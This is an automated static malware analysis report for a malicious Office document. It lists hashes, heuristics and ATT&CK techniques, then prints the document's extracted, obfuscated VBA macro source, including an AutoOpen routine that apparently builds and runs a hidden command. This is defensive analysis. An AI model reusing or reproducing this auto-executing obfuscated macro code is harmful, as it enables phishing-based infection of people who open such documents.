Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3476416960de7ed…

MALICIOUS

Office (OLE)

84.9 KB First seen: 2019-05-31
MD5: a77adfa57a545f2da3a18ed690b1b048 SHA-1: e727b56b30a7a8096a8c12b0d3454f27684b7916 SHA-256: a3476416960de7ed1543e5861e6686217d296fdfb1b573042894f7e8172e9db4
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack anomaly and detected VBA macros, including an AutoOpen macro. The AutoOpen macro contains obfuscated VBA code that appears to be attempting to execute a command or download a payload, indicated by the concatenation of strings to form a command. The presence of the AutoOpen macro and the obfuscated nature of the script strongly suggest malicious intent, likely to download and execute a secondary stage.

Heuristics 4

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 86,954 bytes but its declared streams total only 32,627 bytes — 54,327 bytes (62%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15408 bytes
SHA-256: 1da3653134aa9f4a9efbf32825932d38b495f14f988cec6cdbc9d9967a61ffac
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ARcLBGqphqW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If jKzAPz < wtOkWE Then

Dim zwQcVY()
zHlGJd = nFAdr + fOaLI + JPnXu + jJjRwz
SujCL = FUUJnN + iiNlX

End If
   If VcAVS Eqv juQQzj Then

Dim DUcNiw()
YXLYz = LjmiJo + jQOcj

End If
   If InPmZ < LbCKY Then

Dim jbOUV()
zfttr = fASUw + DuhYlE + GiOIq + PHdIM

End If
   If OTMkq And aTfVH Then

Dim PZbzL()
RDjpF = JoIBv + usjtDb + RVafB + njMqFG

End If
XECukXUNmkM (nDiGB + Nvsion + WDEqzG + Ttvsa + fGYio + kZXBf + YrZHIiabjdU + ErMvfHMPUO + ZRtUZZhTJS + jHjjPw + YuriF)
   If AopnHs >= HKZGA Then

Dim MiULnc()
bzzUG = pFdVMi + CnIFmX
acLNpl = tbXvR + hCDoVj + CFipNb + kYZPZ

End If
   If fOlRF = MTnPsi Then

Dim PVcQlP()
ozuaic = kWnvlD + JrGEH

End If
   If qHpKDO < lWCabQ Then

Dim sFDEb()
nwsVI = zFTRL + IdnAX
oGsWM = pUbEfp + admqrP

End If
End Sub


Attribute VB_Name = "fwlliVNwiGZuw"
Function nDiGB()
If BNojzR Or 8 Then

Dim oRfiKK()
lZSrs = otzGm + zNivvR

End If
   If kFivOZ And hjrtnT Then

Dim LUpiv()
DHNhwM = MJWkR + RifrWc
iHNHN = SpBJGR + uqdsA

End If
   If FPXKH And MBdjdS Then

Dim cJvuF()
zudLz = TwjbB + qXaNPj
AlnQM = joPsl + imfBHb

End If
wUTzUj = "`ja ,S,@ [p[b[q [/s[" + ">k:[6[Z[w[" + " [Y[V[h[ [.[+[t[ [y" + "[:[v[ [*[4[e " + "[X[0[H[ [4[f[Y K["
If RWiBJj Or 14 Then

Dim oSood()
jnTBj = iZNtUA + wwRzft
dGKmY = SVivpA + wYwHdq

End If
   If FUkbk And JscYJc Then

Dim BktdCp()
MYjQaD = bSOipc + FmbiXv

End If
   If offact Eqv ubOtMs Then

Dim jKiRp()
aEDvj = AKWSm + KHLFH + kcuund + hqhwrd

End If
pmTTKfbCNX = " [C [M[][\[ [D[>@" + "[ [*[Jk[ [ [w[E[ ['[" + "nO[ [4[r[u[ ["
uzSwFzaPKcF = "?E@ N[g,[ [2" + "[F[H[ [i[N[b" + "[z%[lo[z[b[T[e[x@["
If UBHFXv Eqv FSswn Then

Dim XMYQZd()
VkUjEQ = kWiXF + fLEVSa + Uuljjb + BicVmi
bkhXAH = UikVtr + MICww

End If
   If EcKBZ Eqv 2 Then

Dim HWTJuW()
adhcm = MvRDTB + XzJVot
TChcX = jNIcj + cXwVa + EYfOm + rAlMI

End If
mOWlz = "zk[e[0[Z,`" + "[n[^S[q8[*[p[^[" + "+k8`I[b[#[zQ[*[$[" + "8[a[D[Xh[Bb`[^"
UkTtCfzfIB = "[.[>[I[b[dP[Xo`" + "[^x[_[:[]K" + "[8[z[?[<[D" + """" + "[XK[G[f" + "[x[4[J[+[][p[![0[T[" + "e[ [L[G[u[j[$[G[z[b"
If OOzdP > jTkVpw Then

Dim FBpdcu()
JmYdZV = fCkUq + MznnP

End If
   If woCdTI <= uMkaT Then

Dim aXzRT()
AMBKnk = oVZXnb + BltUX + iNnXlS + GllFj

End If
WhVaPlcf = "[_[q%q[*[g[" + "$[F[1[$[![*[][" + "'[L[b[{%,[h[X[" + ">[9[l%K[7s[<" + """" + "[?k[e[0"
nDiGB = wUTzUj + pmTTKfbCNX + uzSwFzaPKcF + mOWlz + UkTtCfzfIB + WhVaPlcf
   If KcSho >= TFwHc Then

Dim zFbpTE()
hAQAAw = nFOBOX + YwJGw
CsaGds = IGXwU + LwGtc + iAfNq + sFUbGS

End If
   If TrpZK And Itfhi Then

Dim hDLVR()
hpNkX = jMlnlh + FPwqUG

End If
   If FIpUzi Eqv MotzJB Then

Dim tKjTKq()
lVIwhd = lMrOk + bjXPZ

End If
End Function
Function Nvsion()
If wumXzU <= mHAwq Then

Dim UmhWQB()
bcBkZj = MmTtJ + wpbVak + fwFqR + jGuqtJ
iXTsBw = LIAnH + JnfKLv

End If
   If udXKTf >= 15 Then

Dim CSvajL()
aViUcT = WzRjik + bjizdE + uwihST + pENXb

End If
TIchf = "[ZFO[X5[8[:[" + " [(&[-[i[M[D[Y" + "d[U[G[m[I[X[JK[" + "H[J[![m[3[p[" + " [!O[n[)[I[7[R[j[)[6"
QfUEzPbQhAL = "[4[c[N" + """" + "s[g[" + "x[Nk[![q[7[i" + "%[*[',[b[j"
If bqTMw > fGbpu Then

Dim ajQdG()
LjYAn = AnjtD + DaiRH + dQIPOq + sYRiG

End If
   If RUzjlb <= 2 Then

Dim JMIrm()
PmTSJ = czpzvR + tvkjFa + TtibC + flUEAX
orGEwY = LlcWDP + iIYdC

End If
GKWXBYqLoWz = "$[3[i[-[([Tf[r[" + "/[;[C6[8[A[a[m[g[][" + "^[f[H[+[l[5[/8[i[" + "G[+jk4[([V[t[][D" + "[A[l5[/[Q[A[n[b,[+`["
tzqOUrM = ")[R[?[y[([b" + "[DO[:[f[Lk[vt[!I" + "[^[:[x,[_" + """" + "[v@[I" + "[!o[\[P[RqK<[+[xp"
wcCYGq = """" + ",&sk[9o[i[I[;[J[" + "Xk[I[J[col[!" + "[_[ [R[ [q[C[Zk[X" + "[d[F[f[/%Y [0" + "[;[m[j[D1[q[c[<O[?" + "[g[t[y,[!['o[i%[Z["
If dKbih <> zSEKm Then

Dim LcpwT()
fsaziT = NMtwc + lFOi
... (truncated)